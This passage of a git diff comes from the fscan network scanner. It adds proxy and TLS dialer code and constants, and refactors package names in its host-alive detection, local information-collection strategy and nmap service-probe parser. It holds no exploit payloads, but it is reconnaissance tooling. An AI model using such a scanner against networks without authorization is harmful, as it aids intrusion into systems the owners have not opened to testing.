// 进行TLS握手
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
atomic.AddInt64(&t.stats.FailedConnections, 1)
t.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
}
// 清除deadline让上层代码管理超时
tlsConn.SetDeadline(time.Time{})
duration := time.Since(start)
t.updateAverageConnectTime(duration)
return &trackedTLSConn{
trackedConn: &trackedConn{
Conn: tlsConn,
stats: t.stats,
},
isTLS: true,
}, nil
}
// updateAverageConnectTime 更新平均连接时间
func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if t.stats.AverageConnectTime == 0 {
t.stats.AverageConnectTime = duration
} else {
t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2
}
}
// trackedConn 带统计的连接
type trackedConn struct {
net.Conn
stats *ProxyStats
bytesSent int64
bytesRecv int64
}
func (tc *trackedConn) Read(b []byte) (n int, err error) {
n, err = tc.Conn.Read(b)
if n > 0 {
atomic.AddInt64(&tc.bytesRecv, int64(n))
}
return n, err
}
func (tc *trackedConn) Write(b []byte) (n int, err error) {
n, err = tc.Conn.Write(b)
if n > 0 {
atomic.AddInt64(&tc.bytesSent, int64(n))
}
return n, err
}
func (tc *trackedConn) Close() error {
atomic.AddInt64(&tc.stats.ActiveConnections, -1)
return tc.Conn.Close()
}
// trackedTLSConn 带统计的TLS连接
type trackedTLSConn struct {
*trackedConn
isTLS bool
}
func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.ConnectionState()
}
return tls.ConnectionState{}
}
func (ttc *trackedTLSConn) Handshake() error {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.Handshake()
}
return nil
}
func (ttc *trackedTLSConn) OCSPResponse() []byte {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.OCSPResponse()
}
return nil
}
func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
state := tlsConn.ConnectionState()
var certs []*tls.Certificate
for _, cert := range state.PeerCertificates {
certs = append(certs, &tls.Certificate{
Certificate: [][]byte{cert.Raw},
})
}
return certs
}
return nil
}
func (ttc *trackedTLSConn) VerifyHostname(host string) error {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.VerifyHostname(host)
}
return nil
}

134
Common/proxy/Types.go Normal file
View File

@ -0,0 +1,134 @@
package proxy
import (
"context"
"crypto/tls"
"net"
"time"
)
// ProxyType 代理类型
type ProxyType int
const (
ProxyTypeNone ProxyType = iota
ProxyTypeHTTP
ProxyTypeHTTPS
ProxyTypeSOCKS5
)
// String 返回代理类型的字符串表示
func (pt ProxyType) String() string {
switch pt {
case ProxyTypeNone:
return ProxyTypeStringNone
case ProxyTypeHTTP:
return ProxyTypeStringHTTP
case ProxyTypeHTTPS:
return ProxyTypeStringHTTPS
case ProxyTypeSOCKS5:
return ProxyTypeStringSOCKS5
default:
return ProxyTypeStringUnknown
}
}
// ProxyConfig 代理配置
type ProxyConfig struct {
Type ProxyType `json:"type"`
Address string `json:"address"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Timeout time.Duration `json:"timeout"`
MaxRetries int `json:"max_retries"`
KeepAlive time.Duration `json:"keep_alive"`
IdleTimeout time.Duration `json:"idle_timeout"`
MaxIdleConns int `json:"max_idle_conns"`
}
// DefaultProxyConfig 返回默认代理配置
func DefaultProxyConfig() *ProxyConfig {
return &ProxyConfig{
Type: ProxyTypeNone,
Timeout: DefaultProxyTimeout,
MaxRetries: DefaultProxyMaxRetries,
KeepAlive: DefaultProxyKeepAlive,
IdleTimeout: DefaultProxyIdleTimeout,
MaxIdleConns: DefaultProxyMaxIdleConns,
}
}
// Dialer 拨号器接口
type Dialer interface {
Dial(network, address string) (net.Conn, error)
DialContext(ctx context.Context, network, address string) (net.Conn, error)
}
// TLSDialer TLS拨号器接口
type TLSDialer interface {
Dialer
DialTLS(network, address string, config *tls.Config) (net.Conn, error)
DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error)
}
// ProxyManager 代理管理器接口
type ProxyManager interface {
GetDialer() (Dialer, error)
GetTLSDialer() (TLSDialer, error)
UpdateConfig(config *ProxyConfig) error
Close() error
Stats() *ProxyStats
}
// ProxyStats 代理统计信息
type ProxyStats struct {
TotalConnections int64 `json:"total_connections"`
ActiveConnections int64 `json:"active_connections"`
FailedConnections int64 `json:"failed_connections"`
AverageConnectTime time.Duration `json:"average_connect_time"`
LastConnectTime time.Time `json:"last_connect_time"`
LastError string `json:"last_error,omitempty"`
ProxyType string `json:"proxy_type"`
ProxyAddress string `json:"proxy_address"`
}
// ConnectionInfo 连接信息
type ConnectionInfo struct {
ID string `json:"id"`
RemoteAddr string `json:"remote_addr"`
LocalAddr string `json:"local_addr"`
ProxyAddr string `json:"proxy_addr,omitempty"`
ConnectTime time.Time `json:"connect_time"`
Duration time.Duration `json:"duration"`
BytesSent int64 `json:"bytes_sent"`
BytesRecv int64 `json:"bytes_recv"`
IsTLS bool `json:"is_tls"`
Error string `json:"error,omitempty"`
}
// ProxyError 代理错误类型
type ProxyError struct {
Type string `json:"type"`
Message string `json:"message"`
Code int `json:"code"`
Cause error `json:"cause,omitempty"`
}
func (e *ProxyError) Error() string {
if e.Cause != nil {
return e.Message + ": " + e.Cause.Error()
}
return e.Message
}
// NewProxyError 创建代理错误
func NewProxyError(errType, message string, code int, cause error) *ProxyError {
return &ProxyError{
Type: errType,
Message: message,
Code: code,
Cause: cause,
}
}
// 预定义错误类型已迁移到constants.go

179
Common/proxy/constants.go Normal file
View File

@ -0,0 +1,179 @@
package proxy
import (
"time"
)
/*
constants.go - 代理系统常量定义
统一管理common/proxy包中的所有常量便于查看和编辑
*/
// =============================================================================
// 代理类型常量 (从Types.go迁移)
// =============================================================================
const (
// 代理类型字符串
ProxyTypeStringNone = "none"
ProxyTypeStringHTTP = "http"
ProxyTypeStringHTTPS = "https"
ProxyTypeStringSOCKS5 = "socks5"
ProxyTypeStringUnknown = "unknown"
)
// =============================================================================
// 默认配置常量 (从Types.go迁移)
// =============================================================================
const (
// 默认代理配置值
DefaultProxyTimeout = 30 * time.Second // 默认超时时间
DefaultProxyMaxRetries = 3 // 默认最大重试次数
DefaultProxyKeepAlive = 30 * time.Second // 默认保持连接时间
DefaultProxyIdleTimeout = 90 * time.Second // 默认空闲超时时间
DefaultProxyMaxIdleConns = 10 // 默认最大空闲连接数
)
// =============================================================================
// 错误类型常量 (从Types.go迁移)
// =============================================================================
const (
// 预定义错误类型
ErrTypeConfig = "config_error"
ErrTypeConnection = "connection_error"
ErrTypeAuth = "auth_error"
ErrTypeTimeout = "timeout_error"
ErrTypeProtocol = "protocol_error"
)
// =============================================================================
// 缓存管理常量 (从Manager.go迁移)
// =============================================================================
const (
// 缓存配置
DefaultCacheExpiry = 5 * time.Minute // 默认缓存过期时间
)
// =============================================================================
// 错误代码常量 (从Manager.go和其他文件迁移)
// =============================================================================
const (
// Manager错误代码
ErrCodeUnsupportedProxyType = 1001
ErrCodeEmptyConfig = 1002
// SOCKS5错误代码
ErrCodeSOCKS5ParseFailed = 2001
ErrCodeSOCKS5CreateFailed = 2002
// 直连错误代码
ErrCodeDirectConnFailed = 3001
ErrCodeSOCKS5ConnTimeout = 3002
ErrCodeSOCKS5ConnFailed = 3003
// HTTP代理错误代码
ErrCodeHTTPConnFailed = 4001
ErrCodeHTTPSetWriteTimeout = 4002
ErrCodeHTTPSendConnectFail = 4003
ErrCodeHTTPSetReadTimeout = 4004
ErrCodeHTTPReadRespFailed = 4005
ErrCodeHTTPProxyAuthFailed = 4006
// TLS错误代码
ErrCodeTLSTCPConnFailed = 5001
ErrCodeTLSHandshakeFailed = 5002
)
// =============================================================================
// HTTP协议常量 (从HTTPDialer.go迁移)
// =============================================================================
const (
// HTTP响应状态码
HTTPStatusOK = 200
// HTTP协议常量
HTTPVersion = "HTTP/1.1"
HTTPMethodConnect = "CONNECT"
// HTTP头部常量
HTTPHeaderHost = "Host"
HTTPHeaderProxyAuth = "Proxy-Authorization"
HTTPHeaderAuthBasic = "Basic"
)
// =============================================================================
// 网络协议常量 (从各文件迁移)
// =============================================================================
const (
// 网络协议
NetworkTCP = "tcp"
// 代理协议前缀
ProxyProtocolSOCKS5 = "socks5"
// 认证分隔符
AuthSeparator = ":"
)
// =============================================================================
// 错误消息常量
// =============================================================================
const (
// Manager错误消息
ErrMsgUnsupportedProxyType = "不支持的代理类型"
ErrMsgEmptyConfig = "配置不能为空"
// SOCKS5错误消息
ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
// 直连错误消息
ErrMsgDirectConnFailed = "直连失败"
// HTTP代理错误消息
ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
ErrMsgHTTPSetReadTimeout = "设置读超时失败"
ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败状态码: %d"
// TLS错误消息
ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
ErrMsgTLSHandshakeFailed = "TLS握手失败"
)
// =============================================================================
// 缓存键前缀常量 (从Manager.go迁移)
// =============================================================================
const (
// 缓存键前缀
CacheKeySOCKS5 = "socks5_%s"
CacheKeyHTTP = "http_%s"
)
// =============================================================================
// 格式化字符串常量 (从各文件迁移)
// =============================================================================
const (
// SOCKS5 URL格式
SOCKS5URLFormat = "socks5://%s"
SOCKS5URLAuthFormat = "socks5://%s:%s@%s"
// HTTP CONNECT请求格式
HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n"
HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n"
HTTPRequestEndFormat = "\r\n"
)

View File

@ -1,9 +1,11 @@
package Core package core
import ( import (
"bytes" "bytes"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/output"
"golang.org/x/net/icmp" "golang.org/x/net/icmp"
"net" "net"
"os/exec" "os/exec"
@ -67,20 +69,20 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
protocol = "PING" protocol = "PING"
} }
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.HOST, Type: output.TypeHost,
Target: ip, Target: ip,
Status: "alive", Status: "alive",
Details: map[string]interface{}{ Details: map[string]interface{}{
"protocol": protocol, "protocol": protocol,
}, },
} }
Common.SaveResult(result) common.SaveResult(result)
// 保留原有的控制台输出 // 保留原有的控制台输出
if !Common.Silent { if !common.Silent {
Common.LogInfo(Common.GetText("target_alive", ip, protocol)) common.LogInfo(i18n.GetText("target_alive", ip, protocol))
} }
} }
livewg.Done() livewg.Done()
@ -96,8 +98,8 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return return
} }
Common.LogError(Common.GetText("icmp_listen_failed", err)) common.LogError(i18n.GetText("icmp_listen_failed", err))
Common.LogBase(Common.GetText("trying_no_listen_icmp")) common.LogBase(i18n.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测 // 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
@ -107,9 +109,9 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return return
} }
Common.LogBase(Common.GetText("icmp_connect_failed", err)) common.LogBase(i18n.GetText("icmp_connect_failed", err))
Common.LogBase(Common.GetText("insufficient_privileges")) common.LogBase(i18n.GetText("insufficient_privileges"))
Common.LogBase(Common.GetText("switching_to_ping")) common.LogBase(i18n.GetText("switching_to_ping"))
// 降级使用ping探测 // 降级使用ping探测
RunPing(hostslist, chanHosts) RunPing(hostslist, chanHosts)
@ -119,17 +121,17 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
func printAliveStats(hostslist []string) { func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计 // 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 { if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i])) common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
} }
} }
// 输出 /24 网段统计 // 输出 /24 网段统计
if len(hostslist) > 256 { if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i])) common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
} }
} }
} }

View File

@ -1,8 +1,8 @@
package Core package core
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"strings" "strings"
"sync" "sync"
) )
@ -26,12 +26,12 @@ func (s *LocalScanStrategy) Description() string {
} }
// Execute 执行本地扫描策略 // Execute 执行本地扫描策略
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func (s *LocalScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("执行本地信息收集") common.LogBase("执行本地信息收集")
// 验证插件配置 // 验证插件配置
if err := validateScanPlugins(); err != nil { if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error()) common.LogError(err.Error())
return return
} }
@ -46,24 +46,24 @@ func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg
} }
// PrepareTargets 准备本地扫描目标 // PrepareTargets 准备本地扫描目标
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo { func (s *LocalScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
// 本地扫描只使用传入的目标信息,不做额外处理 // 本地扫描只使用传入的目标信息,不做额外处理
return []Common.HostInfo{info} return []common.HostInfo{info}
} }
// GetPlugins 获取本地扫描插件列表 // GetPlugins 获取本地扫描插件列表
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) { func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了特定插件且不是"all" // 如果指定了特定插件且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" { if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode) requestedPlugins := parsePluginList(common.ScanMode)
if len(requestedPlugins) == 0 { if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode} requestedPlugins = []string{common.ScanMode}
} }
// 验证插件是否存在不做Local类型过滤 // 验证插件是否存在不做Local类型过滤
var validPlugins []string var validPlugins []string
for _, name := range requestedPlugins { for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists { if _, exists := common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name) validPlugins = append(validPlugins, name)
} }
} }
@ -81,32 +81,32 @@ func (s *LocalScanStrategy) LogPluginInfo() {
// 如果是自定义模式,直接显示用户指定的插件 // 如果是自定义模式,直接显示用户指定的插件
if isCustomMode { if isCustomMode {
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", "))) common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return return
} }
// 在自动模式下只显示Local类型的插件 // 在自动模式下只显示Local类型的插件
var applicablePlugins []string var applicablePlugins []string
for _, pluginName := range allPlugins { for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName] plugin, exists := common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeLocal) { if exists && plugin.HasType(common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName) applicablePlugins = append(applicablePlugins, pluginName)
} }
} }
if len(applicablePlugins) > 0 { if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", "))) common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
} else { } else {
Common.LogBase("本地模式: 未找到可用的本地插件") common.LogBase("本地模式: 未找到可用的本地插件")
} }
} }
// IsPluginApplicable 判断插件是否适用于本地扫描 // IsPluginApplicable 判断插件是否适用于本地扫描
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool { func (s *LocalScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件 // 自定义模式下运行所有明确指定的插件
if isCustomMode { if isCustomMode {
return true return true
} }
// 非自定义模式下只运行Local类型插件 // 非自定义模式下只运行Local类型插件
return plugin.HasType(Common.PluginTypeLocal) return plugin.HasType(common.PluginTypeLocal)
} }

View File

@ -1,8 +1,8 @@
package Core package core
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"strings" "strings"
) )
@ -32,20 +32,20 @@ func parsePluginList(pluginStr string) []string {
// 验证扫描插件的有效性 // 验证扫描插件的有效性
func validateScanPlugins() error { func validateScanPlugins() error {
// 如果未指定扫描模式或使用All模式则无需验证 // 如果未指定扫描模式或使用All模式则无需验证
if Common.ScanMode == "" || Common.ScanMode == "all" { if common.ScanMode == "" || common.ScanMode == "all" {
return nil return nil
} }
// 解析插件列表 // 解析插件列表
plugins := parsePluginList(Common.ScanMode) plugins := parsePluginList(common.ScanMode)
if len(plugins) == 0 { if len(plugins) == 0 {
plugins = []string{Common.ScanMode} plugins = []string{common.ScanMode}
} }
// 验证每个插件是否有效 // 验证每个插件是否有效
var invalidPlugins []string var invalidPlugins []string
for _, plugin := range plugins { for _, plugin := range plugins {
if _, exists := Common.PluginManager[plugin]; !exists { if _, exists := common.PluginManager[plugin]; !exists {
invalidPlugins = append(invalidPlugins, plugin) invalidPlugins = append(invalidPlugins, plugin)
} }
} }

View File

@ -1,10 +1,10 @@
package Core package core
import ( import (
_ "embed" _ "embed"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"regexp" "regexp"
"strconv" "strconv"
"strings" "strings"
@ -65,39 +65,39 @@ type Extras struct {
} }
func init() { func init() {
Common.LogDebug("开始初始化全局变量") common.LogDebug("开始初始化全局变量")
v = VScan{} // 直接初始化VScan结构体 v = VScan{} // 直接初始化VScan结构体
v.Init() v.Init()
// 获取并检查 NULL 探测器 // 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok { if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data))) common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data)))
null = &nullProbe null = &nullProbe
} else { } else {
Common.LogDebug("警告: 未找到NULL探测器") common.LogDebug("警告: 未找到NULL探测器")
} }
// 获取并检查 GenericLines 探测器 // 获取并检查 GenericLines 探测器
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok { if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(commonProbe.Data))) common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(genericProbe.Data)))
common = &commonProbe commonProbe = &genericProbe
} else { } else {
Common.LogDebug("警告: 未找到GenericLines探测器") common.LogDebug("警告: 未找到GenericLines探测器")
} }
Common.LogDebug("全局变量初始化完成") common.LogDebug("全局变量初始化完成")
} }
// 解析指令语法,返回指令结构 // 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
Common.LogDebug("开始解析指令语法,输入数据: " + data) common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{} directive = Directive{}
// 查找第一个空格的位置 // 查找第一个空格的位置
blankIndex := strings.Index(data, " ") blankIndex := strings.Index(data, " ")
if blankIndex == -1 { if blankIndex == -1 {
Common.LogDebug("未找到空格分隔符") common.LogDebug("未找到空格分隔符")
return directive return directive
} }
@ -112,7 +112,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
directive.Delimiter = delimiter directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr directive.DirectiveStr = directiveStr
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s", common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr)) directiveName, Flag, delimiter, directiveStr))
return directive return directive
@ -120,7 +120,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
// 解析探测器信息 // 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) { func (p *Probe) parseProbeInfo(probeStr string) {
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr) common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息 // 提取协议和其他信息
proto := probeStr[:4] proto := probeStr[:4]
@ -129,14 +129,14 @@ func (p *Probe) parseProbeInfo(probeStr string) {
// 验证协议类型 // 验证协议类型
if !(proto == "TCP " || proto == "UDP ") { if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP" errMsg := "探测器协议必须是 TCP 或 UDP"
Common.LogDebug("错误: " + errMsg) common.LogDebug("错误: " + errMsg)
panic(errMsg) panic(errMsg)
} }
// 验证其他信息不为空 // 验证其他信息不为空
if len(other) == 0 { if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效" errMsg := "nmap-service-probes - 探测器名称无效"
Common.LogDebug("错误: " + errMsg) common.LogDebug("错误: " + errMsg)
panic(errMsg) panic(errMsg)
} }
@ -148,13 +148,13 @@ func (p *Probe) parseProbeInfo(probeStr string) {
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0] p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto)) p.Protocol = strings.ToLower(strings.TrimSpace(proto))
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s", common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol)) p.Name, p.Data, p.Protocol))
} }
// 从字符串解析探测器信息 // 从字符串解析探测器信息
func (p *Probe) fromString(data string) error { func (p *Probe) fromString(data string) error {
Common.LogDebug("开始解析探测器字符串数据") common.LogDebug("开始解析探测器字符串数据")
var err error var err error
// 预处理数据 // 预处理数据
@ -170,12 +170,12 @@ func (p *Probe) fromString(data string) error {
// 解析匹配规则和其他配置 // 解析匹配规则和其他配置
var matchs []Match var matchs []Match
for _, line := range lines { for _, line := range lines {
Common.LogDebug("处理行: " + line) common.LogDebug("处理行: " + line)
switch { switch {
case strings.HasPrefix(line, "match "): case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line) match, err := p.getMatch(line)
if err != nil { if err != nil {
Common.LogDebug("解析match失败: " + err.Error()) common.LogDebug("解析match失败: " + err.Error())
continue continue
} }
matchs = append(matchs, match) matchs = append(matchs, match)
@ -183,7 +183,7 @@ func (p *Probe) fromString(data string) error {
case strings.HasPrefix(line, "softmatch "): case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line) softMatch, err := p.getSoftMatch(line)
if err != nil { if err != nil {
Common.LogDebug("解析softmatch失败: " + err.Error()) common.LogDebug("解析softmatch失败: " + err.Error())
continue continue
} }
matchs = append(matchs, softMatch) matchs = append(matchs, softMatch)
@ -208,59 +208,59 @@ func (p *Probe) fromString(data string) error {
} }
} }
p.Matchs = &matchs p.Matchs = &matchs
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs))) common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err return err
} }
// 解析端口配置 // 解析端口配置
func (p *Probe) parsePorts(data string) { func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:] p.Ports = data[len("ports")+1:]
Common.LogDebug("解析端口: " + p.Ports) common.LogDebug("解析端口: " + p.Ports)
} }
// 解析SSL端口配置 // 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) { func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:] p.SSLPorts = data[len("sslports")+1:]
Common.LogDebug("解析SSL端口: " + p.SSLPorts) common.LogDebug("解析SSL端口: " + p.SSLPorts)
} }
// 解析总等待时间 // 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) { func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:])) waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil { if err != nil {
Common.LogDebug("解析总等待时间失败: " + err.Error()) common.LogDebug("解析总等待时间失败: " + err.Error())
return return
} }
p.TotalWaitMS = waitMS p.TotalWaitMS = waitMS
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS)) common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
} }
// 解析TCP包装等待时间 // 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) { func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:])) wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil { if err != nil {
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error()) common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return return
} }
p.TCPWrappedMS = wrappedMS p.TCPWrappedMS = wrappedMS
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS)) common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
} }
// 解析稀有度 // 解析稀有度
func (p *Probe) parseRarity(data string) { func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:])) rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil { if err != nil {
Common.LogDebug("解析稀有度失败: " + err.Error()) common.LogDebug("解析稀有度失败: " + err.Error())
return return
} }
p.Rarity = rarity p.Rarity = rarity
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity)) common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
} }
// 解析回退配置 // 解析回退配置
func (p *Probe) parseFallback(data string) { func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:] p.Fallback = data[len("fallback")+1:]
Common.LogDebug("回退配置: " + p.Fallback) common.LogDebug("回退配置: " + p.Fallback)
} }
// 判断是否为十六进制编码 // 判断是否为十六进制编码
@ -300,7 +300,7 @@ func isOtherEscapeCode(b []byte) bool {
// 从内容解析探测器规则 // 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) { func (v *VScan) parseProbesFromContent(content string) {
Common.LogDebug("开始解析探测器规则文件内容") common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe var probes []Probe
var lines []string var lines []string
@ -317,7 +317,7 @@ func (v *VScan) parseProbesFromContent(content string) {
// 验证文件内容 // 验证文件内容
if len(lines) == 0 { if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空" errMsg := "读取nmap-service-probes文件失败: 内容为空"
Common.LogDebug("错误: " + errMsg) common.LogDebug("错误: " + errMsg)
panic(errMsg) panic(errMsg)
} }
@ -329,7 +329,7 @@ func (v *VScan) parseProbesFromContent(content string) {
} }
if excludeCount > 1 { if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令" errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
Common.LogDebug("错误: " + errMsg) common.LogDebug("错误: " + errMsg)
panic(errMsg) panic(errMsg)
} }
} }
@ -338,7 +338,7 @@ func (v *VScan) parseProbesFromContent(content string) {
firstLine := lines[0] firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) { if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头" errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
Common.LogDebug("错误: " + errMsg) common.LogDebug("错误: " + errMsg)
panic(errMsg) panic(errMsg)
} }
@ -346,7 +346,7 @@ func (v *VScan) parseProbesFromContent(content string) {
